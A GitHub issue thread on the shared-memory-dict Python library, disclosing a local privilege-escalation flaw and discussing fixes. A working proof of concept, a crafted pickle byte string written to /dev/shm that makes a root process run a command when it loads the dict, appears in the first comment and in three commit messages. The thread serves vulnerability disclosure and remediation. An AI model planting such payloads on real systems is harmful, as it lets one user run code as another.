-
Notifications
You must be signed in to change notification settings - Fork 24
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
security considerations #33
Comments
Here is a simple local code execution exploit: Execute as user $ python3
>>> with open('/dev/shm/sm_foo', 'wb') as fd:
... fd.write(b'\x80\x03csubprocess\ncall\nq\x00X\n\x00\x00\x00/bin/touchq\x01X\x0b\x00\x00\x00/tmp/hackedq\x02\x86q\x03\x85q\x04Rq\x05.')
...
66
$ ls -l '/dev/shm/sm_foo'
-rw-r--r-- 1 nobody nogroup 66 Okt 21 18:42 /dev/shm/sm_foo Then execute a new process as any user (e.g. $ python3
>>> import shared_memory_dict
>>> f = shared_memory_dict.SharedMemoryDict('foo', 500)
>>> f
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/fbest/git/shared-memory-dict/shared_memory_dict/dict.py", line 115, in __repr__
return repr(self._read_memory())
File "/home/fbest/git/shared-memory-dict/shared_memory_dict/dict.py", line 169, in _read_memory
db = {key: self._unmap_value(key, value) for key, value in db.items()}
AttributeError: 'int' object has no attribute 'items'
$ ls -l /tmp/hacked
-rw-r--r-- 1 root root 0 Okt 21 18:45 /tmp/hacked The command |
My proposed solution would be to check the to be opened file for the ownership:
When we do this, we could lead in a DoS situation. So maybe there should be some force flag, which removed the existing file and recreates one with correct permissions. Even better is, to drop the requirement for pickle. We want to store dicts. Dicts can be seen as a List of 2-tupels.
And consistency checks, like does the key exists already, etc. |
I see you implemented a JSON Serializer which can be used alternatively. This is nice, as JSON is faster than pickle and doesn't have these security issues. With JSON still a local information disclosure leak exists. |
The disadvantages of JSON is that you cannot store |
…read/writeable for them Fixes luizalabs#33
…read/writeable for them Prevents 1. information disclosure 2. unpickling of untrusted pickle files resulting in code execution vulnerabilities Execute as user `nobody`: ``` $ python3 >>> with open('/dev/shm/sm_foo', 'wb') as fd: ... fd.write(b'\x80\x03csubprocess\ncall\nq\x00X\n\x00\x00\x00/bin/touchq\x01X\x0b\x00\x00\x00/tmp/hackedq\x02\x86q\x03\x85q\x04Rq\x05.') ... 66 $ ls -l '/dev/shm/sm_foo' -rw-r--r-- 1 nobody nogroup 66 Okt 21 18:42 /dev/shm/sm_foo ``` Then execute a new process as any user (e.g. root): ``` $ python3 >>> import shared_memory_dict >>> f = shared_memory_dict.SharedMemoryDict('foo', 500) >>> f Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/fbest/git/shared-memory-dict/shared_memory_dict/dict.py", line 115, in __repr__ return repr(self._read_memory()) File "/home/fbest/git/shared-memory-dict/shared_memory_dict/dict.py", line 169, in _read_memory db = {key: self._unmap_value(key, value) for key, value in db.items()} AttributeError: 'int' object has no attribute 'items' $ ls -l /tmp/hacked -rw-r--r-- 1 root root 0 Okt 21 18:45 /tmp/hacked ``` The command /bin/touch /tmp/hacked has been executed as root. Fixes luizalabs#33
…read/writeable for them Prevents 1. information disclosure 2. unpickling of untrusted pickle files resulting in code execution vulnerabilities Execute as user `nobody`: ``` $ python3 >>> with open('/dev/shm/sm_foo', 'wb') as fd: ... fd.write(b'\x80\x03csubprocess\ncall\nq\x00X\n\x00\x00\x00/bin/touchq\x01X\x0b\x00\x00\x00/tmp/hackedq\x02\x86q\x03\x85q\x04Rq\x05.') ... 66 $ ls -l '/dev/shm/sm_foo' -rw-r--r-- 1 nobody nogroup 66 Okt 21 18:42 /dev/shm/sm_foo ``` Then execute a new process as any user (e.g. root): ``` $ python3 >>> import shared_memory_dict >>> f = shared_memory_dict.SharedMemoryDict('foo', 500) >>> f Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/fbest/git/shared-memory-dict/shared_memory_dict/dict.py", line 115, in __repr__ return repr(self._read_memory()) File "/home/fbest/git/shared-memory-dict/shared_memory_dict/dict.py", line 169, in _read_memory db = {key: self._unmap_value(key, value) for key, value in db.items()} AttributeError: 'int' object has no attribute 'items' $ ls -l /tmp/hacked -rw-r--r-- 1 root root 0 Okt 21 18:45 /tmp/hacked ``` The command /bin/touch /tmp/hacked has been executed as root. Fixes luizalabs#33
…read/writeable for them Prevents 1. information disclosure 2. unpickling of untrusted pickle files resulting in code execution vulnerabilities Execute as user `nobody`: ``` $ python3 >>> with open('/dev/shm/sm_foo', 'wb') as fd: ... fd.write(b'\x80\x03csubprocess\ncall\nq\x00X\n\x00\x00\x00/bin/touchq\x01X\x0b\x00\x00\x00/tmp/hackedq\x02\x86q\x03\x85q\x04Rq\x05.') ... 66 $ ls -l '/dev/shm/sm_foo' -rw-r--r-- 1 nobody nogroup 66 Okt 21 18:42 /dev/shm/sm_foo ``` Then execute a new process as any user (e.g. root): ``` $ python3 >>> import shared_memory_dict >>> f = shared_memory_dict.SharedMemoryDict('foo', 500) >>> f Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/fbest/git/shared-memory-dict/shared_memory_dict/dict.py", line 115, in __repr__ return repr(self._read_memory()) File "/home/fbest/git/shared-memory-dict/shared_memory_dict/dict.py", line 169, in _read_memory db = {key: self._unmap_value(key, value) for key, value in db.items()} AttributeError: 'int' object has no attribute 'items' $ ls -l /tmp/hacked -rw-r--r-- 1 root root 0 Okt 21 18:45 /tmp/hacked ``` The command /bin/touch /tmp/hacked has been executed as root. Fixes luizalabs#33
@spaceone We (maintainers) will look carefully at this issue. |
@cassiobotaro |
I am interested in this fix as well. We will eventually have some shared implementations where having this security would be effective. |
I'm not sure this lib should handle this use case. IMHO SharedMemoryDict is a low level interface, like ShareableList. I know it may be a concern, but that should be handled by the user when necessary. What about including a "caveat" section in the README to explain some security considerations? |
The stdlib Including something in the README is definitely not enough. It won't be read by many. It won't be read by people already using the library. |
@spaceone I'm afraid I'm missing your point. I'm looking at ShareableList implementation and I still don't understand how it is not affected by the issue you raised. Could you please explain what it does differently? |
Nothing is stored on disk in the standard library - they use pipes, UNIX sockets or TCP sockets which are protected by an authorization key. It also uses pickle but offers also some XML-RPC protocols. |
Well, it looks like the same approach to me. ShareableList uses SharedMemory which is the same approach of SharedMemoryDict. SharedMemory uses a memory-mapped file. Please, let me know if I'm missing something. |
Oh sorry, my last comment was about the stdlib |
Okay, I think I've got your point. Pickle opens up the door for remote code execution. We would not have that issue if we serialized the data using struct, like ShareableList or if internally we used a list of ShareableLists, as you mentioned. In the meantime, we could make the pickle serialization safer, as you proposed in your PR #43. I have some concerns about where it should be implemented and the support for different OS's, but I think we can talk about that in the PR's thread. |
The README should mention that the contents of the shared memory dict can be hijacked by any user which knows the name of the shared memory.
Getting the name is as simple as
ls /dev/shm
.To hijack this, one must simply create a SharedMemoryDict instance before the to be hijacked process starts and set the /dev/shm file world-read and writable.
The text was updated successfully, but these errors were encountered: